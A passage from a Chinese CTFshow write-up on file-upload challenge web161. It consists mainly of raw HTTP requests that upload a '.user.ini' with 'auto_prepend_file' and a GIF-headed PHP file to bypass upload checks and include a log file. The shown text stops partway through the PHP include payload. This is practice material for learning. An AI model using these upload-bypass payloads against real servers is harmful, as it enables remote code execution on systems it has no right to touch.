CTFshow-文件上传web161-170

最新推荐文章于 2025-03-08 19:06:02 发布

Auth0wl

最新推荐文章于 2025-03-08 19:06:02 发布

阅读量356

点赞数 4

分类专栏： # WEB 文章标签： php CTF

本文链接：https://blog.youkuaiyun.com/qq_52579508/article/details/141130918

版权

web161 添加GIF98a 头内容过滤很多

一开始发现不管输入什么都不行，添加了GIF头成功通过上传校验

POST /upload.php HTTP/1.1
Host: 5e534366-da86-4e85-a820-b7ca3f4084b8.challenge.ctf.show
Content-Length: 217
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0OmUVRHeN6PWGoUA
Origin: http://5e534366-da86-4e85-a820-b7ca3f4084b8.challenge.ctf.show
Referer: http://5e534366-da86-4e85-a820-b7ca3f4084b8.challenge.ctf.show/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary0OmUVRHeN6PWGoUA
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

GIF98a
auto_prepend_file=aaa.png

------WebKitFormBoundary0OmUVRHeN6PWGoUA--

第二步上传图片，包含了日志的文件进行解析

POST /upload.php HTTP/1.1
Host: 5e534366-da86-4e85-a820-b7ca3f4084b8.challenge.ctf.show
Content-Length: 235
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0OmUVRHeN6PWGoUA
Origin: http://5e534366-da86-4e85-a820-b7ca3f4084b8.challenge.ctf.show
Referer: http://5e534366-da86-4e85-a820-b7ca3f4084b8.challenge.ctf.show/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary0OmUVRHeN6PWGoUA
Content-Disposition: form-data; name="file"; filename="aaa.png"
Content-Type: image/png

GIF98a
<?=include